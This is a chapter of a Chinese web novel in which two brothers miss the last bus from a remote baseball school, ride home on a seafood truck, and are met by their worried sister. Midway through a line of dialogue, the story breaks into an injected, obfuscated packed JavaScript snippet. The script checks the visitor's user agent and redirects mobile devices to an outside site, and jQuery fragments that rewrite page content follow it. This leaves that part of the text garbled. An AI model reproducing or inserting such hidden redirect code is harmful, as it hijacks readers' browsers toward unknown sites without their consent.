训练结束的哨声响起，建人低头瞥了眼排球鞋——右鞋底裂开像鳄鱼嘴，露出磨得纸片薄的鞋垫。这双从二手店淘来的Asics，熬过早川茜三个月的魔鬼特训，终于向物理法则投降。
“茜姐，这鞋能申请工伤补贴吗？”建人拎着鞋带晃了晃，鞋底“啪嗒”掉在体育馆地板上，吓得路过的田中差点摔了保温杯。
早川茜从战术板后探头，双马尾上的美少女战士发夹闪闪发光：“想换新鞋？先连续接住我十个发球再说。”
她抬手甩出一记跳飘球，建人扑救时，左脚袜子捅破鞋尖，大拇指倔强探出头。
回家的电车上，建人盯着窗外飞驰的广告牌。最新款Mizuno排球鞋的模特用俯视众生的眼神炫耀，价格标签够买美咲姐三个月的围裙预算。
他蜷了蜷露出的脚趾，忽而想起前世那双穿到开胶的匡威——看来不管哪个世界，穷鬼的脚趾都得跟冷风交朋友。
晚归的町屋弥漫着烤鱼焦香。建人拎着破鞋蹭到美咲身边：“姐，这鞋能申请工伤补贴吗？”
美咲正往账本写满赤字，闻言抄起锅铲量了量鞋底裂口：“修鞋费三千円，从你零用钱扣。”
“不是修！是换新……”建人话音未落，铁平醉醺醺插嘴：“老子当年穿木屐都能飙车，臭小子矫情！”
美咲的笔尖在“球鞋采购”项上悬了三秒，最终划掉，改成“健太护肘费”。建人瞥见那抹犹豫，心里像被章鱼烧的竹签轻轻戳了下。
给健太送饭的末班车上，建人抱着便当盒昏昏欲睡。车窗外的霓虹灯牌显示“2011.5.20”，他忽而想起前世这时正备战高考，而今生却在为接发球发愁。
公车猛刹，便当盒差点飞出去——司机用关西腔大骂乱闯马路的小学生：“找死啊，小混蛋！”
私立青空学园站牌孤零零立在郊区，建人下车时差点踩到青蛙。远处棒球场灯火通明，他突然理解健太为何像台永动机——这鬼地方方圆三公里连便利店都没有，不训练只能数蚊子。
“哥。”建人回头，看见健太站在路灯下，刘海被汗水粘在额头，制服沾满红土。他接过便当，指尖的老茧刮过建人手背。
“这学校选址绝对跟我有仇。”建人踢飞一颗石子，“连乌鸦都得带GPS。”
健太打开便当，美咲特制的照烧鸡腿饭香气四溢：“因为地价便宜。”
建人愣住，瞬间明白这所棒球名校的奖学金对健太意味着什么——他用天赋换全家喘息的机会，就像美咲用青春换居酒屋的烟火气。
他们在球场边长椅坐下，健太吃饭的动作像精密仪器。
建人晃着破球鞋：“当王牌爽吧？女生送情书，教练当宝……”
“二十七次。”
“啊？”
“这学期收到二十七封情书。”健太用筷子尖划着便当盒，“全塞进体育馆储物柜了。”
建人差点被口水呛死：“你这面瘫脸居然这么受欢迎？！”
“她们喜欢的是青空学园四号，不是我。”健太戳破半熟蛋，蛋黄流出像融化的夕阳，
“如果打不进甲子园……”远处传来末班车离站的轰鸣。
建人猛地跳起：“等等！现在几点？”
健太亮出手机：22:47。最后一班回市区的公车刚开走三分钟。
“完了！美咲姐会把我做成章鱼烧馅料！”建人抓狂地原地转圈，“这破学校为什么建在坟场旁边！”
健太默默收拾便当盒：“我背你。”
“哈？”
“三公里外有国道，可以拦货车。”健太蹲下，背影单薄得像根球棒。
建人趴在弟弟背上，才发现这小子肩膀比想象中宽。
夜风穿过稻田，带来远处便利店的电子音“欢迎光临”。
“你记不记得小学时……”建人揪着健太衣领保持平衡，“我背你去看庙会？”
“你把我摔进金鱼摊，赔了三个月零花钱。”
“那是意外！谁让美咲姐做的木屐带子会断！”建人反驳。
健太突然停步。建人顺着他的目光看去，满天星斗如撒落的棒球，银河横跨甲子园方向。
“哥。”健太的声音混在虫鸣里，“他们叫我机器人。”
“谁？”
“队友。因为我不笑，也不说话。”建人想起健太在击球区时的眼神——不是机器人的冰冷，而是怕辜负所有人。
他拍拍弟弟肩膀：“我国中时，因为姓荒巻，被叫暴走族崽子。”
健太脊背僵了下。
“有次在鞋柜发现鲭鱼头。”建人晃着破球鞋，“你猜我怎么着？”健太摇头，发丝蹭得建人下巴发痒。“我把鱼头塞进那家伙书包，贴了张字条‘夜叉罗二代目参上’。”
建人笑得发抖，“结果他转学了。”健太胸腔传来轻微震动，建人花三秒才反应过来那是弟弟在笑。
国道边，建人的鞋底彻底脱落。
健太脱下自己的运动鞋：“换着穿。”“你脚比我小两码！”
“总比光脚好。”
建人踩着弟弟的鞋，像穿了水晶鞋的灰姑娘——如果灰姑娘满脚水泡的话。
货车司机是个满脸胡渣的大叔，听完他们的遭遇大笑：“上来！老子当年也是翻墙逃训的主！”
车厢堆满水产箱，建人蜷在角落给手机充电。
Line弹出美咲的99+消息：
22:58：[图片] 居酒屋打烊，金太郎撕咬账本
23:30：接电话！！！
00:05：再装死就把你游戏机喂金太郎
健太突然开口：“为什么不去私立高中？”建人愣住。
车厢随颠簸摇晃，冰鲜鱿鱼的触须在月光下诡异舞动。
“市三中奖学金高啊。”他故作轻松，“而且离居酒屋近，方便被美咲姐奴役。”
他没说看到健太入学通知时，美咲熬夜熬红了眼；没说铁平卖掉珍藏的暴走族头盔。
货车碾过减速带，鱿鱼触须拍在车窗上。建人吓得Pocky断成两截，捡起半截塞进健太嘴里：“你记不记得金太郎绝育那天？”
健太被饼干呛到，机械地点点头。“那蠢狗被抬上手术台，尿了兽医一身。”建人比划着，“结果现在还不是追着母猫跑？有些事，怕着怕着就过去了。”
健太盯着破皮的指节：“教练说我的投球……太完美了。”
“哈？这算哪门子烦恼！”
“没有情绪起伏，他们说像发球机。”健太喉结动了动，“上次对海星学院，七局下半满垒……
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15529079|170792||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我感受不到心跳。”
建人想起被茜骂“量子力学接球白痴”，笑出声：“每次拦网前，我都想象自己穿着美咲姐的围裙，印着‘夜叉罗御用厨娘’！”
健太嘴角抽搐，车厢角落传来“噗嗤”——鱿鱼的诡异放气声。
“喂，你笑了吧？”建人戳弟弟腰眼，“面瘫王牌破功实录！”
“没有。”健太死鸭子嘴硬。“绝对笑了！跟金太郎偷吃章鱼烧的屁声一样！”
建人抓起冰袋按在健太手腕：“下次压力大，想想柜子里的二十七封情书——那可是我两辈子都达不到的战绩！”
健太垂头，绷带上的血迹洇成樱花状：“她们送的是进口巧克力。”
“啥？！”
“白巧容易化，黑巧太苦。”
“重点是这个吗混蛋！”建人掐住弟弟脖子摇晃。货车转弯，两人滚作一团，建人的破鞋飞进鱿鱼箱，健太的校服扣子崩开两颗。
司机从后视镜看到这场面，笑得差点吞了烟头：“年轻真好！”
“甲子园算什么？”建人瘫在泡沫箱上喘气，“大不了退役去美咲姐店里端盘子，铁平叔副驾驶永远给你留座……”
“可你们……”健太攥紧冰袋，“卖掉了很重要的东西。”建人怔住。
“知道这车鱿鱼值多少钱吗？”他指向蠕动的触须，“够买三双顶级棒球手套。可大叔宁愿载两个臭小鬼回家，也不愿多跑两趟货。”
远处便利店的“欢迎光临”音透进车厢。健太腕上的绷带松开，伤口结着薄薄血痂，像枚甲子园泥土标本。
“下次教你个绝招。”建人压低声音，“面对打者时，想象他穿了美咲姐的草莓围裙……”“会笑场。”
“要的就是笑场！你一笑，打者绝对吓尿！”建人摸出受潮的Pocky插在鱿鱼头上：“敬未来的甲子园巨星！”
司机猛按喇叭，惊飞路边夜枭。
月光、鱿鱼与少年们的笑声在国道上飞驰，像场荒诞又温暖的成人礼。
町屋的轮廓出现时，建人看见美咲站在路灯下，围裙兜着金太郎，手机屏幕映出她泛红的眼角。
铁平的出租车歪斜停在一旁，引擎还在嗡嗡作响。“两个混蛋！”美咲的怒吼惊飞夜鸟，“知道现在几点吗？！”
建人举手：“司机大叔请我们吃关东煮……”
“吃你个鬼！”美咲的折扇敲过来却中途转向，□□了把他的头发，“滚去洗澡！”浴室里，建人发现洗衣篮放着新毛巾。
泡进热水时，他听见楼下美咲的训斥：“下次再敢……”突然转为模糊的哽咽。
深夜，建人摸黑去厨房偷水喝，看见美咲坐在账本堆里，戴着老花镜缝他的破球鞋。月光从裂缝渗入，在她手上投下细碎光斑。
“姐，”建人哑着嗓子，“我打进全国大赛的话……”
“闭嘴，吵到金太郎了。”美咲头也不抬，把缝好的鞋推过来。
鞋底加固得像装甲板，内侧缝了块软垫——用她旧围裙裁的。
次日清晨，铁平在出租车后座发现一双新球鞋。鞋盒里塞着张皱巴巴的纸条：“臭小子敢弄脏就切腹——夜叉罗二代目留。”
三十公里外的居酒屋，美咲正把“铁平戒酒基金”的标签，默默改成“金太郎绝育费”。